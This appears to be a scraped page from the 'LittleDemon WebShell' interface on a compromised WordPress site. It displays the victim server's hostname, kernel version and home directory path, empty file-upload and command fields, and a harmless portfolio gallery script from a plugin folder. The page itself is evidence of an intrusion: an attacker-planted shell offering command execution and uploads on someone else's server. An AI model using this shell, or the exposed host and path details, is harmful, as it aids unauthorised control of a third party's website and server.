LittleDemon WebShell


Linux webm007.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Path : /home/eglisebaa/www/wp-content/plugins/trx_addons2/components/cpt/portfolio/
File Upload :
Command :
Current File : /home/eglisebaa/www/wp-content/plugins/trx_addons2/components/cpt/portfolio/portfolio.js

/* global jQuery:false */
/* global TRX_ADDONS_STORAGE:false */

// Init portfolio gallery
jQuery(document).on('action.init_hidden_elements', function(e, cont) {

	"use strict";
	
	cont.find('[class*="portfolio_page_gallery_type_masonry_"]').each(function() {
		var portfolio = jQuery(this);
		if (portfolio.parents('div:hidden,article:hidden').length > 0) return;
		if (!portfolio.hasClass('inited')) {
			portfolio.addClass('inited');
			trx_addons_when_images_loaded( portfolio, function() {
				portfolio.masonry({
					itemSelector: '.portfolio_page_gallery_item',
					columnWidth: '.portfolio_page_gallery_item',
					percentPosition: true
				});
				jQuery(window).trigger('resize');
			});
		} else {
			// Relayout after 
			setTimeout(function() { portfolio.masonry(); }, 310);
		}
	});

});

LittleDemon - FACEBOOK
[ KELUAR ]